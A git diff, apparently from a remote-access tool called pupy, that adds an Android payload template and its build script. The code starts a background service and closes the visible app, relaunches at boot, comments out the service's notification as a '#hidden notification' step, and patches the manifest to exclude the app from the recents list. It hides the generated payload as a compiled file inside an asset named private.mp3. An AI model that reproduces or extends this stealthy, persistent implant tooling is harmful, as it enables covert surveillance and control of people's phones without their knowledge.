diff --git a/.gitignore b/.gitignore index 4641232b..76ecae0a 100644 --- a/.gitignore +++ b/.gitignore @@ -27,7 +27,8 @@ client/sources/resources/library_compressed_string_x64.txt client/sources/resources_msvcr90_dll.c client/sources/resources/libraryx64.zip client/sources/resources/libraryx86.zip - +client/android_sources/bin +client/android_sources/.buildozer # Byte-compiled / optimized / DLL files __pycache__/ client/**/*.py[cod] diff --git a/client/android_sources/1x1-transparent.png b/client/android_sources/1x1-transparent.png new file mode 100644 index 00000000..9da19eac Binary files /dev/null and b/client/android_sources/1x1-transparent.png differ diff --git a/client/android_sources/MyBroadcastReceiver.java b/client/android_sources/MyBroadcastReceiver.java new file mode 100644 index 00000000..a482fa20 --- /dev/null +++ b/client/android_sources/MyBroadcastReceiver.java @@ -0,0 +1,14 @@ +/* This code is used to restart DAS service at boot */ +package org.egambit.das; +import android.content.BroadcastReceiver; +import android.content.Intent; +import android.content.Context; +import org.renpy.android.PythonActivity; +public class MyBroadcastReceiver extends BroadcastReceiver { + public void onReceive(Context context, Intent intent) { + Intent ix = new Intent(context,PythonActivity.class); + ix.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(ix); + } +} + diff --git a/client/android_sources/PythonActivity.java b/client/android_sources/PythonActivity.java new file mode 100644 index 00000000..6841e457 --- /dev/null +++ b/client/android_sources/PythonActivity.java @@ -0,0 +1,632 @@ +package org.renpy.android; + +import android.app.Activity; +import android.content.Intent; +import android.content.pm.ActivityInfo; +import android.os.Bundle; +import android.os.Environment; +import android.view.KeyEvent; +import android.view.Window; +import android.view.WindowManager; +import android.widget.Toast; +import android.util.Log; +import android.content.pm.PackageManager; +import android.content.pm.ApplicationInfo; + +import java.io.InputStream; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileWriter; +import java.io.File; +import java.io.IOException; +import java.util.Collections; +import java.util.Iterator; + +// Billing +import org.renpy.android.Configuration; +import org.renpy.android.billing.BillingService.RequestPurchase; +import org.renpy.android.billing.BillingService.RestoreTransactions; +import org.renpy.android.billing.Consts.PurchaseState; +import org.renpy.android.billing.Consts.ResponseCode; +import org.renpy.android.billing.PurchaseObserver; +import org.renpy.android.billing.BillingService; +import org.renpy.android.billing.PurchaseDatabase; +import org.renpy.android.billing.Consts; +import org.renpy.android.billing.ResponseHandler; +import org.renpy.android.billing.Security; +import android.os.Handler; +import android.database.Cursor; +import java.util.List; +import java.util.ArrayList; +import android.content.SharedPreferences; +import android.content.Context; + + +public class PythonActivity extends Activity implements Runnable { + private static String TAG = "Python"; + + // The audio thread for streaming audio... + private static AudioThread mAudioThread = null; + + // The SDLSurfaceView we contain. + public static SDLSurfaceView mView = null; + public static PythonActivity mActivity = null; + public static ApplicationInfo mInfo = null; + + // Did we launch our thread? + private boolean mLaunchedThread = false; + + private ResourceManager resourceManager; + + // The path to the directory contaning our external storage. + private File externalStorage; + + // The path to the directory containing the game. + private File mPath = null; + + boolean _isPaused = false; + + private static final String DB_INITIALIZED = "db_initialized"; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + Hardware.context = this; + Action.context = this; + this.mActivity = this; + + getWindowManager().getDefaultDisplay().getMetrics(Hardware.metrics); + + resourceManager = new ResourceManager(this); + externalStorage = new File(Environment.getExternalStorageDirectory(), getPackageName()); + + // Figure out the directory where the game is. If the game was + // given to us via an intent, then we use the scheme-specific + // part of that intent to determine the file to launch. We + // also use the android.txt file to determine the orientation. + // + // Otherwise, we use the public data, if we have it, or the + // private data if we do not. + if (getIntent() != null && getIntent().getAction() != null && + getIntent().getAction().equals("org.renpy.LAUNCH")) { + mPath = new File(getIntent().getData().getSchemeSpecificPart()); + + Project p = Project.scanDirectory(mPath); + + if (p != null) { + if (p.landscape) { + setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); + } else { + setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); + } + } + + // Let old apps know they started. + try { + FileWriter f = new FileWriter(new File(mPath, ".launch")); + f.write("started"); + f.close(); + } catch (IOException e) { + // pass + } + + + + } else if (resourceManager.getString("public_version") != null) { + mPath = externalStorage; + } else { + mPath = getFilesDir(); + } + + requestWindowFeature(Window.FEATURE_NO_TITLE); + + // go to fullscreen mode if requested + try { + this.mInfo = this.getPackageManager().getApplicationInfo( + this.getPackageName(), PackageManager.GET_META_DATA); + Log.v("python", "metadata fullscreen is" + this.mInfo.metaData.get("fullscreen")); + if ( (Integer)this.mInfo.metaData.get("fullscreen") == 1 ) { + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + } + } catch (PackageManager.NameNotFoundException e) { + } + + if ( Configuration.use_billing ) { + mBillingHandler = new Handler(); + } + + // Start showing an SDLSurfaceView. + mView = new SDLSurfaceView( + this, + mPath.getAbsolutePath()); + + Hardware.view = mView; + //setContentView(mView); + + // Force the background window color if asked + if ( this.mInfo.metaData.containsKey("android.background_color") ) { + getWindow().getDecorView().setBackgroundColor( + this.mInfo.metaData.getInt("android.background_color")); + } + } + + /** + * Show an error using a toast. (Only makes sense from non-UI + * threads.) + */ + public void toastError(final String msg) { + + final Activity thisActivity = this; + + runOnUiThread(new Runnable () { + public void run() { + Toast.makeText(thisActivity, msg, Toast.LENGTH_LONG).show(); + } + }); + + // Wait to show the error. + synchronized (this) { + try { + this.wait(1000); + } catch (InterruptedException e) { + } + } + } + + public void recursiveDelete(File f) { + if (f.isDirectory()) { + for (File r : f.listFiles()) { + recursiveDelete(r); + } + } + f.delete(); + } + + + /** + * This determines if unpacking one the zip files included in + * the .apk is necessary. If it is, the zip file is unpacked. + */ + public void unpackData(final String resource, File target) { + + // The version of data in memory and on disk. + String data_version = resourceManager.getString(resource + "_version"); + String disk_version = null; + + // If no version, no unpacking is necessary. + if (data_version == null) { + return; + } + + // Check the current disk version, if any. + String filesDir = target.getAbsolutePath(); + String disk_version_fn = filesDir + "/" + resource + ".version"; + + try { + byte buf[] = new byte[64]; + InputStream is = new FileInputStream(disk_version_fn); + int len = is.read(buf); + disk_version = new String(buf, 0, len); + is.close(); + } catch (Exception e) { + disk_version = ""; + } + + // If the disk data is out of date, extract it and write the + // version file. + if (! data_version.equals(disk_version)) { + Log.v(TAG, "Extracting " + resource + " assets."); + + recursiveDelete(target); + target.mkdirs(); + + AssetExtract ae = new AssetExtract(this); + if (!ae.extractTar(resource + ".mp3", target.getAbsolutePath())) { + toastError("Could not extract " + resource + " data."); + } + + try { + // Write .nomedia. + new File(target, ".nomedia").createNewFile(); + + // Write version file. + FileOutputStream os = new FileOutputStream(disk_version_fn); + os.write(data_version.getBytes()); + os.close(); + } catch (Exception e) { + Log.w("python", e); + } + } + + } + + public void run() { + + unpackData("private", getFilesDir()); + unpackData("public", externalStorage); + + System.loadLibrary("sdl"); + System.loadLibrary("sdl_image"); + System.loadLibrary("sdl_ttf"); + System.loadLibrary("sdl_mixer"); + System.loadLibrary("python2.7"); + System.loadLibrary("application"); + System.loadLibrary("sdl_main"); + + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_io.so"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/unicodedata.so"); + + try { + System.loadLibrary("sqlite3"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_sqlite3.so"); + } catch(UnsatisfiedLinkError e) { + } + + try { + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imaging.so"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingft.so"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingmath.so"); + } catch(UnsatisfiedLinkError e) { + } + + if ( mAudioThread == null ) { + Log.i("python", "Starting audio thread"); + mAudioThread = new AudioThread(this); + } + + runOnUiThread(new Runnable () { + public void run() { + mView.start(); + } + }); + } + + @Override + protected void onPause() { + _isPaused = true; + super.onPause(); + + if (mView != null) { + mView.onPause(); + } + } + + @Override + protected void onResume() { + super.onResume(); + _isPaused = false; + + if (!mLaunchedThread) { + mLaunchedThread = true; + new Thread(this).start(); + } + + if (mView != null) { + mView.onResume(); + } + } + + public boolean isPaused() { + return _isPaused; + } + + @Override + public boolean onKeyDown(int keyCode, final KeyEvent event) { + //Log.i("python", "key2 " + mView + " " + mView.mStarted); + if (mView != null && mView.mStarted && SDLSurfaceView.nativeKey(keyCode, 1, event.getUnicodeChar())) { + return true; + } else { + return super.onKeyDown(keyCode, event); + } + } + + @Override + public boolean onKeyUp(int keyCode, final KeyEvent event) { + //Log.i("python", "key up " + mView + " " + mView.mStarted); + if (mView != null && mView.mStarted && SDLSurfaceView.nativeKey(keyCode, 0, event.getUnicodeChar())) { + return true; + } else { + return super.onKeyUp(keyCode, event); + } + } + + protected void onDestroy() { + if (mPurchaseDatabase != null) { + mPurchaseDatabase.close(); + } + + if (mBillingService != null) { + mBillingService.unbind(); + } + + if (mView != null) { + mView.onDestroy(); + } + + //Log.i(TAG, "on destroy (exit1)"); + System.exit(0); + } + + public static void start_service(String serviceTitle, String serviceDescription, + String pythonServiceArgument) { + Intent serviceIntent = new Intent(PythonActivity.mActivity, PythonService.class); + String argument = PythonActivity.mActivity.getFilesDir().getAbsolutePath(); + String filesDirectory = PythonActivity.mActivity.mPath.getAbsolutePath(); + serviceIntent.putExtra("androidPrivate", argument); + serviceIntent.putExtra("androidArgument", filesDirectory); + serviceIntent.putExtra("pythonHome", argument); + serviceIntent.putExtra("pythonPath", argument + ":" + filesDirectory + "/lib"); + serviceIntent.putExtra("serviceTitle", serviceTitle); + serviceIntent.putExtra("serviceDescription", serviceDescription); + serviceIntent.putExtra("pythonServiceArgument", pythonServiceArgument); + PythonActivity.mActivity.startService(serviceIntent); + } + + public static void stop_service() { + Intent serviceIntent = new Intent(PythonActivity.mActivity, PythonService.class); + PythonActivity.mActivity.stopService(serviceIntent); + } + + //---------------------------------------------------------------------------- + // Listener interface for onNewIntent + // + + public interface NewIntentListener { + void onNewIntent(Intent intent); + } + + private List newIntentListeners = null; + + public void registerNewIntentListener(NewIntentListener listener) { + if ( this.newIntentListeners == null ) + this.newIntentListeners = Collections.synchronizedList(new ArrayList()); + this.newIntentListeners.add(listener); + } + + public void unregisterNewIntentListener(NewIntentListener listener) { + if ( this.newIntentListeners == null ) + return; + this.newIntentListeners.remove(listener); + } + + @Override + protected void onNewIntent(Intent intent) { + if ( this.newIntentListeners == null ) + return; + if ( this.mView != null ) + this.mView.onResume(); + synchronized ( this.newIntentListeners ) { + Iterator iterator = this.newIntentListeners.iterator(); + while ( iterator.hasNext() ) { + (iterator.next()).onNewIntent(intent); + } + } + } + + //---------------------------------------------------------------------------- + // Listener interface for onActivityResult + // + + public interface ActivityResultListener { + void onActivityResult(int requestCode, int resultCode, Intent data); + } + + private List activityResultListeners = null; + + public void registerActivityResultListener(ActivityResultListener listener) { + if ( this.activityResultListeners == null ) + this.activityResultListeners = Collections.synchronizedList(new ArrayList()); + this.activityResultListeners.add(listener); + } + + public void unregisterActivityResultListener(ActivityResultListener listener) { + if ( this.activityResultListeners == null ) + return; + this.activityResultListeners.remove(listener); + } + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent intent) { + if ( this.activityResultListeners == null ) + return; + if ( this.mView != null ) + this.mView.onResume(); + synchronized ( this.activityResultListeners ) { + Iterator iterator = this.activityResultListeners.iterator(); + while ( iterator.hasNext() ) + (iterator.next()).onActivityResult(requestCode, resultCode, intent); + } + } + + //---------------------------------------------------------------------------- + // Billing + // + class PythonPurchaseObserver extends PurchaseObserver { + public PythonPurchaseObserver(Handler handler) { + super(PythonActivity.this, handler); + } + + @Override + public void onBillingSupported(boolean supported, String type) { + if (Consts.DEBUG) { + Log.i(TAG, "supported: " + supported); + } + + String sup = "1"; + if ( !supported ) + sup = "0"; + if (type == null) + type = Consts.ITEM_TYPE_INAPP; + + // add notification for python message queue + mActivity.mBillingQueue.add("billingSupported|" + type + "|" + sup); + + // for managed items, restore the database + if ( type == Consts.ITEM_TYPE_INAPP && supported ) { + restoreDatabase(); + } + } + + @Override + public void onPurchaseStateChange(PurchaseState purchaseState, String itemId, + int quantity, long purchaseTime, String developerPayload) { + mActivity.mBillingQueue.add( + "purchaseStateChange|" + itemId + "|" + purchaseState.toString()); + } + + @Override + public void onRequestPurchaseResponse(RequestPurchase request, + ResponseCode responseCode) { + mActivity.mBillingQueue.add( + "requestPurchaseResponse|" + request.mProductId + "|" + responseCode.toString()); + } + + @Override + public void onRestoreTransactionsResponse(RestoreTransactions request, + ResponseCode responseCode) { + if (responseCode == ResponseCode.RESULT_OK) { + mActivity.mBillingQueue.add("restoreTransaction|ok"); + if (Consts.DEBUG) { + Log.d(TAG, "completed RestoreTransactions request"); + } + // Update the shared preferences so that we don't perform + // a RestoreTransactions again. + SharedPreferences prefs = getPreferences(Context.MODE_PRIVATE); + SharedPreferences.Editor edit = prefs.edit(); + edit.putBoolean(DB_INITIALIZED, true); + edit.commit(); + } else { + if (Consts.DEBUG) { + Log.d(TAG, "RestoreTransactions error: " + responseCode); + } + + mActivity.mBillingQueue.add( + "restoreTransaction|error|" + responseCode.toString()); + } + } + } + + /** + * If the database has not been initialized, we send a + * RESTORE_TRANSACTIONS request to Android Market to get the list of purchased items + * for this user. This happens if the application has just been installed + * or the user wiped data. We do not want to do this on every startup, rather, we want to do + * only when the database needs to be initialized. + */ + private void restoreDatabase() { + SharedPreferences prefs = getPreferences(MODE_PRIVATE); + boolean initialized = prefs.getBoolean(DB_INITIALIZED, false); + if (!initialized) { + mBillingService.restoreTransactions(); + } + } + + /** An array of product list entries for the products that can be purchased. */ + + private enum Managed { MANAGED, UNMANAGED, SUBSCRIPTION } + + + private PythonPurchaseObserver mPythonPurchaseObserver; + private Handler mBillingHandler; + private BillingService mBillingService; + private PurchaseDatabase mPurchaseDatabase; + private String mPayloadContents; + public List mBillingQueue; + + public void billingServiceStart_() { + mBillingQueue = new ArrayList(); + + // Start the billing part + mPythonPurchaseObserver = new PythonPurchaseObserver(mBillingHandler); + mBillingService = new BillingService(); + mBillingService.setContext(this); + mPurchaseDatabase = new PurchaseDatabase(this); + + ResponseHandler.register(mPythonPurchaseObserver); + if (!mBillingService.checkBillingSupported()) { + //showDialog(DIALOG_CANNOT_CONNECT_ID); + Log.w(TAG, "NO BILLING SUPPORTED"); + } + if (!mBillingService.checkBillingSupported(Consts.ITEM_TYPE_SUBSCRIPTION)) { + //showDialog(DIALOG_SUBSCRIPTIONS_NOT_SUPPORTED_ID); + Log.w(TAG, "NO SUBSCRIPTION SUPPORTED"); + } + } + + public void billingServiceStop_() { + } + + public void billingBuy_(String mSku) { + Managed mManagedType = Managed.MANAGED; + if (Consts.DEBUG) { + Log.d(TAG, "buying sku: " + mSku); + } + + if (mManagedType == Managed.MANAGED) { + if (!mBillingService.requestPurchase(mSku, Consts.ITEM_TYPE_INAPP, mPayloadContents)) { + Log.w(TAG, "ERROR IN BILLING REQUEST PURCHASE"); + } + } else if (mManagedType == Managed.SUBSCRIPTION) { + if (!mBillingService.requestPurchase(mSku, Consts.ITEM_TYPE_INAPP, mPayloadContents)) { + Log.w(TAG, "ERROR IN BILLING REQUEST PURCHASE"); + } + } + } + + public String billingGetPurchasedItems_() { + String ownedItems = ""; + Cursor cursor = mPurchaseDatabase.queryAllPurchasedItems(); + if (cursor == null) + return ""; + + try { + int productIdCol = cursor.getColumnIndexOrThrow( + PurchaseDatabase.PURCHASED_PRODUCT_ID_COL); + int qtCol = cursor.getColumnIndexOrThrow( + PurchaseDatabase.PURCHASED_QUANTITY_COL); + while (cursor.moveToNext()) { + String productId = cursor.getString(productIdCol); + String qt = cursor.getString(qtCol); + + productId = Security.unobfuscate(this, Configuration.billing_salt, productId); + if ( productId == null ) + continue; + + if ( ownedItems != "" ) + ownedItems += "\n"; + ownedItems += productId + "," + qt; + } + } finally { + cursor.close(); + } + + return ownedItems; + } + + + static void billingServiceStart() { + mActivity.billingServiceStart_(); + } + + static void billingServiceStop() { + mActivity.billingServiceStop_(); + } + + static void billingBuy(String sku) { + mActivity.billingBuy_(sku); + } + + static String billingGetPurchasedItems() { + return mActivity.billingGetPurchasedItems_(); + } + + static String billingGetPendingMessage() { + if (mActivity.mBillingQueue.isEmpty()) + return null; + return mActivity.mBillingQueue.remove(0); + } + +} + diff --git a/client/android_sources/PythonService.java b/client/android_sources/PythonService.java new file mode 100644 index 00000000..30c92c25 --- /dev/null +++ b/client/android_sources/PythonService.java @@ -0,0 +1,125 @@ +package org.renpy.android; + +import android.app.Service; +import android.os.IBinder; +import android.os.Bundle; +import android.content.Intent; +import android.content.Context; +import android.util.Log; +import android.app.Notification; +import android.app.PendingIntent; +import android.os.Process; + +public class PythonService extends Service implements Runnable { + + // Thread for Python code + private Thread pythonThread = null; + + // Python environment variables + private String androidPrivate; + private String androidArgument; + private String pythonHome; + private String pythonPath; + // Argument to pass to Python code, + private String pythonServiceArgument; + public static Service mService = null; + + @Override + public IBinder onBind(Intent arg0) { + return null; + } + + @Override + public void onCreate() { + super.onCreate(); + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + if (pythonThread != null) { + Log.v("python service", "service exists, do not start again"); + return START_REDELIVER_INTENT; + } + + Bundle extras = intent.getExtras(); + androidPrivate = extras.getString("androidPrivate"); + // service code is located in service subdir + androidArgument = extras.getString("androidArgument") + "/service"; + pythonHome = extras.getString("pythonHome"); + pythonPath = extras.getString("pythonPath"); + pythonServiceArgument = extras.getString("pythonServiceArgument"); + String serviceTitle = extras.getString("serviceTitle"); + String serviceDescription = extras.getString("serviceDescription"); + + pythonThread = new Thread(this); + pythonThread.start(); + + Context context = getApplicationContext(); + /*Notification notification = new Notification(context.getApplicationInfo().icon, + serviceTitle, + System.currentTimeMillis());*/ + //Intent contextIntent = new Intent(context, PythonActivity.class); + //PendingIntent pIntent = PendingIntent.getActivity(context, 0, contextIntent, + // PendingIntent.FLAG_UPDATE_CURRENT); + //notification.setLatestEventInfo(context, serviceTitle, serviceDescription, pIntent); + //startForeground(1, notification); + + return START_REDELIVER_INTENT; + } + + @Override + public void onDestroy() { + super.onDestroy(); + pythonThread = null; + Process.killProcess(Process.myPid()); + } + + @Override + public void run(){ + + // libraries loading, the same way PythonActivity.run() do + System.loadLibrary("sdl"); + System.loadLibrary("sdl_image"); + System.loadLibrary("sdl_ttf"); + System.loadLibrary("sdl_mixer"); + System.loadLibrary("python2.7"); + System.loadLibrary("application"); + System.loadLibrary("sdl_main"); + + + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_io.so"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/unicodedata.so"); + + try { + System.loadLibrary("ctypes"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_ctypes.so"); + } catch(UnsatisfiedLinkError e) { + } + + try { + System.loadLibrary("sqlite3"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_sqlite3.so"); + } catch(UnsatisfiedLinkError e) { + } + + try { + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imaging.so"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingft.so"); + System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingmath.so"); + } catch(UnsatisfiedLinkError e) { + } + + this.mService = this; + nativeInitJavaEnv(); + nativeStart(androidPrivate, androidArgument, pythonHome, pythonPath, + pythonServiceArgument); + } + + // Native part + public static native void nativeStart(String androidPrivate, String androidArgument, + String pythonHome, String pythonPath, + String pythonServiceArgument); + + public static native void nativeInitJavaEnv(); + +} diff --git a/client/android_sources/build.sh b/client/android_sources/build.sh new file mode 100644 index 00000000..816474d5 --- /dev/null +++ b/client/android_sources/build.sh @@ -0,0 +1,32 @@ +#!/bin/bash +# -*- coding: UTF8 -*- +if [ "$1" = "restart" ]; then +adb shell am start -S -n org.pupy.pupy/org.renpy.android.PythonActivity -a org.renpy.android.PythonActivity +exit 0 +fi +buildozer 2>&1 > /dev/null # for initialisation +#startup bootloader +ANDROID_MANIFEST="./.buildozer/android/platform/python-for-android/dist/pupy/templates/AndroidManifest.tmpl.xml" +if [ -z "`cat $ANDROID_MANIFEST | grep BOOT_COMPLETED`" ]; then +echo "Patching AndroidManifest template for BOOT_COMPLETED" +sed -i $ANDROID_MANIFEST -e 's/{% for m in args.meta_data %}/<\/intent-filter><\/receiver>\n{% for m in args.meta_data %}/g' +echo "Patching AndroidManifest template for excludeFromRecents" +sed -i $ANDROID_MANIFEST -e 's/android:launchMode="singleTask"/android:launchMode="singleTask"\nandroid:excludeFromRecents="true"\n/g' +fi +cp MyBroadcastReceiver.java .buildozer/android/platform/python-for-android/dist/pupy/src/ + +#hidden notification +cp PythonService.java .buildozer/android/platform/python-for-android/dist/pupy/src/org/renpy/android/PythonService.java + +cp PythonActivity.java .buildozer/android/platform/python-for-android/src/src/org/renpy/android/PythonActivity.java + +if [ "$1" = "debug" ]; then +rm bin/*.apk +buildozer android debug && adb install -r bin/*.apk && adb shell am start -n org.pupy.pupy/org.renpy.android.PythonActivity -a org.renpy.android.PythonActivity +exit 0 +fi + +rm bin/*.apk +buildozer android release +echo "copying the generated apk to ../../pupy/payload_templates/pupy.apk" +cp bin/Pupy-0.1-release-unsigned.apk ../../pupy/payload_templates/pupy.apk diff --git a/client/android_sources/main.py b/client/android_sources/main.py new file mode 100644 index 00000000..89224c75 --- /dev/null +++ b/client/android_sources/main.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms +import os +os.environ['KIVY_NO_FILELOG']='yes' + +from kivy.app import App +from kivy.lang import Builder +from kivy.utils import platform +import time +import os +kv = "" +#Button: +# text: 'push me!' + +class ServiceApp(App): + def build(self): + if platform == 'android': + from android import AndroidService + service = AndroidService('pupy', 'running') + service.start('service started') + self.service = service + App.get_running_app().stop() + return Builder.load_string(kv) + +if __name__ == '__main__': + ServiceApp().run() + diff --git a/client/android_sources/service/main.py b/client/android_sources/service/main.py new file mode 100644 index 00000000..da9a5ca4 --- /dev/null +++ b/client/android_sources/service/main.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms + +import os +os.environ['KIVY_NO_FILELOG']='yes' + +from time import sleep +import pp + +if __name__ == '__main__': + while True: + print "starting pupy ..." + pp.main() + print "pupy exit" diff --git a/client/android_sources/service/pp.py b/client/android_sources/service/pp.py new file mode 100644 index 00000000..b693d258 --- /dev/null +++ b/client/android_sources/service/pp.py @@ -0,0 +1,3 @@ + +# This file will be overriden when packaging with pupygen.py and serves only for compiling the apk template + diff --git a/pupy/payload_templates b/pupy/payload_templates index ab771592..8a0b3f54 160000 --- a/pupy/payload_templates +++ b/pupy/payload_templates @@ -1 +1 @@ -Subproject commit ab771592c3179b8bd0462678a0329dc90d304d30 +Subproject commit 8a0b3f54aa430623006b3aaec0dec1fe050dbffb diff --git a/pupy/pp.py b/pupy/pp.py index cb7043b1..c21e66cf 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -28,7 +28,6 @@ import traceback import os import subprocess import threading -import multiprocessing import StringIO import json import urllib2 diff --git a/pupy/pupygen.py b/pupy/pupygen.py index 588a247a..30970dde 100755 --- a/pupy/pupygen.py +++ b/pupy/pupygen.py @@ -109,7 +109,7 @@ def updateTar(arcpath, arcname, file_path): def get_edit_apk(path, new_path, conf): tempdir=tempfile.mkdtemp(prefix="tmp_pupy_") try: - new_conf=get_raw_conf(conf) + packed_payload=pack_py_payload(get_raw_conf(conf)) shutil.copy(path, new_path) #extracting the python-for-android install tar from the apk @@ -117,12 +117,14 @@ def get_edit_apk(path, new_path, conf): zf.extract("assets/private.mp3", tempdir) zf.close() - with open(os.path.join(tempdir,"pp.conf"),'w') as w: - w.write(new_conf) + with open(os.path.join(tempdir,"pp.py"),'w') as w: + w.write(packed_payload) + import py_compile + py_compile.compile(os.path.join(tempdir, "pp.py"), os.path.join(tempdir, "pp.pyo")) print "[+] packaging the apk ... (can take 10-20 seconds)" #updating the tar with the new config - updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.conf", os.path.join(tempdir,"pp.conf")) + updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo")) #repacking the tar in the apk with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t: updateZip(new_path, "assets/private.mp3", t.read())